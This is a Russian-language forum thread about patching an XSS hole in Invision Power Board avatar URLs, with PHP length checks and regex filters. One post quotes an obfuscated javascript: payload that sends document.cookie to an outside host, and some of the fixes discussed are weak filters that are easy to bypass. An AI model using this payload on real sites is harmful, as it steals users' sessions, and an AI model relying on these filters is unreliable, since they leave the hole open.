Перейти к контенту

XSS через аватар


Рекомендуемые сообщения

Смысл этого такой

 

Если включена опция загрузить автар по ссылке, туда, в эту ссылку могут пихнуть скрипт со сниффером

 

подробнее читай на античат: http://forum.antichat.ru/threadnav19773-1-10-2.1.6.html

 

там, в этой строке стоит ограничение по количеству вводимых символов 20

 

они сохраняют страницу на диск и просто в хтмл коде меняют эту цифру на 200

 

вводят в свою страницу этот бред, потом отсылают ей же(с помощью её) этот запрос уже на реальный сервер

 

и аватар становится сниффером

 

 

 

так вот, идея парсить количество символов в этом запросе не в строке ввода, а при передаче(в процессе передачи) и возвращать ответ, мол запихни свой сниффер себе в ***

 

 

 

как такое можно организовать?

 

может яваскриптом?

 

или где идёт обработка этой строки(где она идёт)?

 

ДОБАВЛЕНО: в общем, меня интересует только где идёт обработка этой строки(в каком файле, в какой строчке)

Ссылка на комментарий
Поделиться на других сайтах

я так сделал вообще с самого начала использования форума, я знал про такую возможность ещё с пхпбб

но ведь есть же и порядочные люди

дайте место, где обрабатывается эта строчка и я попытаюсь дать заплатку

Ссылка на комментарий
Поделиться на других сайтах

да эта проверка всё чушь, ну на вот, на:

http://www.sysman.ru/index.php?showtopic=3...indpost&p=44805

Ссылка на комментарий
Поделиться на других сайтах

http://thearhar.tulpar.net/strrchr.htm

я так и не разобрался, как сделать меньше-равно

 

))) у тебя если больше)

 

я пытался туда вводить даже ацкий скрипт, предлагаемый античатом

java script:x=document.cookie%3Bimg=new%20Image()%3Bimg.src=%27http://antichat.ru/cgi-bin/s.jpg%3F%27%2Bx/*.jpg*///.gif

там между каждым символом в слове яваскрипт стоят табуляции

проверь реакцию моего счётчика, и поймёшь, что не фигня

 

детишки))) ;-)

 

для юзеров 2.1.х это будет выглядеть так:

 

Файл sources/lib/usercp_functions.php:

 

найти:

			$this->ipsclass->input['url_avatar'] = trim($this->ipsclass->input['url_avatar']);

		if ( empty($this->ipsclass->vars['allow_dynamic_img']) )
		{
			if ( preg_match( "/[?&;]/", $this->ipsclass->input['url_avatar'] ) )
			{
				$this->ipsclass->Error( array( 'LEVEL' => 1, 'MSG' => 'avatar_invalid_url' ) );
			}
		}

добавить ПОСЛЕ:

			// XSS patch from kiddie html editors;-) © Song; Altered by Arhar))

		if ( strlen($this->ipsclass->input['url_avatar']) > 80 )
		{
			$this->ipsclass->Error( array( 'LEVEL' => 1, 'MSG' => 'avatar_invalid_url' ) );
		}

Ссылка на комментарий
Поделиться на других сайтах

я от меньше равно отталкивался

 

ещё есть вариант, как

strchr ($this->ipsclass->input['url_avatar'], h);

эта штука вернёт только строчку справа от символа h(включая этот символ)

тоесть нормальные ссылки типа http:// будут оставатся неизменными, а ссылки, начинающиеся с java script будут отрезатся

Ссылка на комментарий
Поделиться на других сайтах

дык это можно множеством способов сделать

 

if ( !stristr(($txt, 'http://') ) { ... }

 

if ( strpos(($txt, 'http://') === FALSE ) { ... }

 

if ( !preg_match("/^http:\/\//i", $txt) ) { ... }

 

последнее имхо самое правильное, потому что первые и твоё они регистрозависимые

 

 

добавлено:

 

а кстати, так там это проверяется:

		//-----------------------------------
	// Check to make sure we don't just have
	// http:// in the URL box..
	//------------------------------------

	if ( preg_match("/^http:\/\/$/i", $ibforums->input['url_avatar'] ) )
	{
		$ibforums->input['url_avatar'] = "";
	}

 

я от меньше равно отталкивался

 

ну так "<="

Ссылка на комментарий
Поделиться на других сайтах

о, точно, спасибо

раз проверяется, а потом работает, то плохо проверяется

дополнительная проверка не помешает

 

а ограничение по количеству символов разве регистро зависимо?

 

плюс к тому, надо отрезать яваскрипт, ведь так?

а нормальная ссылка будет работать, никому же в голову не придёт писать её с HTTP

там уже по умолчанию как образец проставлено маленькими буквами http://

Ссылка на комментарий
Поделиться на других сайтах

смотри и пихай всё что угодно: http://thearhar.tulpar.net/test.php

 

Check to make sure we don't just have http:// in the URL box..

Это ничего не спасает

проверим чтобы убедится, что мы не имеем только http:// в строке

как оно работает (preg_match)?

проверяет наличие в строке строки http://?

Ссылка на комментарий
Поделиться на других сайтах

а ограничение по количеству символов разве регистро зависимо?

 

повеселил :D

 

плюс к тому, надо отрезать яваскрипт, ведь так?

отрезается:

 

		if ( preg_match("/java script:/is", $ibforums->input['url_avatar'] ) )
	{
		$ibforums->input['url_avatar'] = "";
	}

 

проверяет наличие в строке строки http://?

да.

 

там уже по умолчанию как образец проставлено маленькими буквами http://

без разницы какими.

 

этот preg_match проверяет, что в строке кроме "http://" есть ещё что-то.

Ссылка на комментарий
Поделиться на других сайтах

так..всё так..

на последнее

этот preg_match проверяет, что в строке кроме "http://" есть ещё что-то.

XSS через аватар

и что то ещё есть, так что не спасает..

вобщем, проблема решена простейшим strlen?

Ссылка на комментарий
Поделиться на других сайтах

и что то ещё есть, так что не спасает..

ты пойми что "http://" отрезать не надо, т.к. это поле собственно и преднозначено для ввода URLа.

 

тоесть нормальные ссылки типа http:// будут оставатся неизменными, а ссылки, начинающиеся с java script будут отрезатся

 

Нет. Ссылка на аватар отрезается если javascript будет в любом месте ссылки, а не только в начале!

Но. Эту проверку легко "переубедить", что и делают киддисы по приведённой тобою ссылке, т.к. выше я уже тебе про это говорил:

да эта проверка всё чушь, ну на вот, на:

 

вобщем, проблема решена простейшим strlen?

ну если введут скрипт меньше чем 80 символов то не решена :D

Ссылка на комментарий
Поделиться на других сайтах

ты пойми что "http://" отрезать не надо, т.к. это поле собственно и преднозначено для ввода URLа

да я и не говорю, что надо его отрезать

функция strchr возвращает строку начиная с указанного символа(включая его) если найдёт этот символ в строке

strchr('javahttp','h') вернёт http

 

Проблема решена, невозможно составить скрипт меньше 80 символов

тот что там - 127

по любому пробелы, всякие точкизапятые надо заменять символа на 3-4

 

в крайнем случае, ставим 50

Ссылка на комментарий
Поделиться на других сайтах

×
×
  • Создать...

Важная информация

Находясь на нашем сайте, вы соглашаетесь на использование файлов cookie, а также с нашим положением о конфиденциальности Политика конфиденциальности и пользовательским соглашением Условия использования.